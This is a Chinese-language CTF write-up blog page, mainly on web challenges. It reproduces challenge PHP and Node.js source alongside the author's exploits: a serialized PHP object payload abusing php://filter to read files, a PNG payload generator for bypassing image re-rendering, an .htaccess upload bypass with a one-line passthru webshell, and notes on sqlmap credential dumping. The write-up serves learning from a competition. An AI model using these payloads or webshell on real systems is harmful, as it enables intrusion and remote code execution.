dvCTF2021-writeup

dvCTF2021老外办的一个小比赛 (打比赛还能学英语 官方的wp,docker等 https://github.com/louiswolfers/dvCTF2021 记录几个比较有意思的题目 webLightweiight My company made me write a login page to authe ......

}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");

function.php

1
2
3
4
5
6
<?php
// function.php
function __autoload($classname){
require_once "/var/www/html/$classname.php";
}
?>

myclass.php

1
2
3
4
5
6
7
8
9
<?php
// myclass.php
class Hello{
public function __destruct()
{
if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>

下面这两行代码的问题很大.

1
2
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){

比赛的时候一直有疑惑为什么先unserializeserialize , 后来找到了php的这个trick才看懂这个点.

构造下面的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// myclass.php
class Hello{
public function __construct(){
$this->qwb = 'php://filter/convert.base64-encode/resource=e2a7106f1cc8bb1e1318df70aa0a3540.php';
}
}
class myclass{
public $a;
public $b;
public function __construct(){
$this->a = new Hello();
}
}
echo urlencode(serialize((new myclass)));
?>
// O%3A7%3A%22myclass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A80%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3De2a7106f1cc8bb1e1318df70aa0a3540.php%22%3B%7Ds%3A1%3A%22b%22%3BN%3B%7D
// O:7:"myclass":2:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:80:"php://filter/convert.base64-encode/resource=e2a7106f1cc8bb1e1318df70aa0a3540.php";}s:1:"b";N;}

然后把最后一个} 给删了. 这样虽然反序列化会报错,但是Hello这个对象还是可以unserialize成功的.

然后结合filter就可以读代码了, 下面是第二层代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
// include "bff139fa05ac583f685a523ab3d110a0.php";
// include "45b963397aa40d4a0063e0d85e4fe7a1.php";
function PNG($file)
{
if(!is_file($file)){die("我从来没有见过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁,清内存
}
imagedestroy($first);
}

function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}

$file = isset($_GET['4475157a-539c-4c4e-b0c4-d2d0748dea47'])?$_GET['4475157a-539c-4c4e-b0c4-d2d0748dea47']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['6cbb3d33-55f2-4cca-af8e-8f60733f2667']);
if(isset($_GET['6cbb3d33-55f2-4cca-af8e-8f60733f2667'])&&$_GET['6cbb3d33-55f2-4cca-af8e-8f60733f2667']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

第一步是过二次渲染, Nu1l给出的生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

国赛的时候也遇到了一个项目可以生成.https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

想到的思路是利用文件上传产生临时文件/tmp/xxxxxx然后包含, 列目录刚好可以找到文件名,,,但是比赛的时候根本跑不出来23333(理论上是可行的

看了Nu1lWp发现还要结合另外一个php7的bug, 原理参考Guoke师傅 https://guokeya.github.io/post/cbMk6sLKe/ , 这题思路太🐂了.

EasyWeb

这个题太迷惑了,平台不是不让扫的吗..

第一层: nmap扫描到36842端口是一个web服务, 登陆处存在sql注入

image-20210615120254630

直接sqlmap拖下admin账号密码, admin/99f609527226e076d668668582ac4420

然后nmd网站名字叫EasySSRF… 找ssrf找了好久,最后发现是个upload??

在/file存在文件上传, 绕过方式可以是.htaccess

1
AddHandler php5-script .test
1
<?php passthru($_GET[cmd]);

然后发现无权限读flag,

image-20210615120659975

hint

image-20210615120716716

然后尝试suid提权失败. 发现内网8006还有个jboss.反弹shell失败,也不会搭代理也不会打jboss就放弃了.

后面一步是部署war包打jboss.

EasySQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const salt = random('Aa0', 40);
const HashCheck = sha256(sha256(salt + 'admin')).toString();

let filter = (data) => {
let blackwords = ['alter', 'insert', 'drop', 'delete', 'update', 'convert', 'chr', 'char', 'concat', 'reg', 'to', 'query'];
let flag = false;

if (typeof data !== 'string') return true;

blackwords.forEach((value, idx) => {
if (data.includes(value)) {
console.log(`filter: ${value}`);
return (flag = true);
}
});

let limitwords = ['substring', 'left', 'right', 'if', 'case', 'sleep', 'replace', 'as', 'format', 'union'];
limitwords.forEach((value, idx) => {
if (count(data, value) > 3){
console.log(`limit: ${value}`);
return (flag = true);
}
});

return flag;
}


app.get('/source', async (req, res, next) => {
fs.readFile('./source.txt', 'utf8', (err, data) => {
if (err) {
res.send(err);
}
else {
res.send(data);
}
});
});



app.all('/', async (req, res, next) => {
if (req.method == 'POST') {
if (req.body.username && req.body.password) {
let username = req.body.username.toLowerCase();
let password = req.body.password.toLowerCase();

if (username === 'admin') {
res.send(`<script>alert("Don't want this!!!");location.href='/';</script>`);
return;
}

UserHash = sha256(sha256(salt + username)).toString();
if (UserHash !== HashCheck) {
res.send(`<script>alert("NoNoNo~~~You are not admin!!!");location.href='/';</script>`);
return;
}

if (filter(password)) {
res.send(`<script>alert("Hacker!!!");location.href='/';</script>`);
return;
}

let sql = `select password,username from users where username='${username}' and password='${password}';`;
client.query(sql, [], (err, data) => {
if (err) {
res.send(`<script>alert("Something Error!");location.href='/';</script>`);
return;
}
else {
if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) {
res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);
return;
}
else {
res.send(`<script>alert("Password Error!!!");location.href='/';</script>`);
return;
}
}
});
}
}

res.render('index');
return;
});

postgres sql的注入. 知识盲区,

第一层是数组绕过/密码学attack?

other

别的Java题/xss 就没看了.

总结

爬去学习了.wtcl

--> 前言题目质量很好,奈何自己太菜, 只能赛后看着Nu1l的WP复盘一下. 被re 和 pwn师傅带飞的感觉太好了( XD 解了三道题,还有几道有思路也记录一下. web2 pop_mastertcl只能写半自动脚本, Nu1l的脚本很漂亮,但是看不懂( .. 利用脚本找出pop链然后手动搓链子. 只贴个脚本在这 1234 ......
Readmore
CTF WP

VolgaCTF2021_Qualifier_WP

前言周日摸鱼打了一下这个比赛,出了四道,一道蹭车,一道最后一秒出,有点可惜. 比国内的题目要有意思一些,带来很多别的思考,(可惜没几道pwn和re 下面是writeup和复现. JWT考察jwt相关, 注册登陆后发现是用JWT鉴权 访问 http://172.105.68.62:8080/secret/ 可以得到密 ......

AntxD^3CTF部分wp

8-bit pub Try to execute /readflag Nodejs代码审计 绕过admin的登陆. 12345678910111213141516171819202122const sql = require("../utils/db.js");module.exports = ......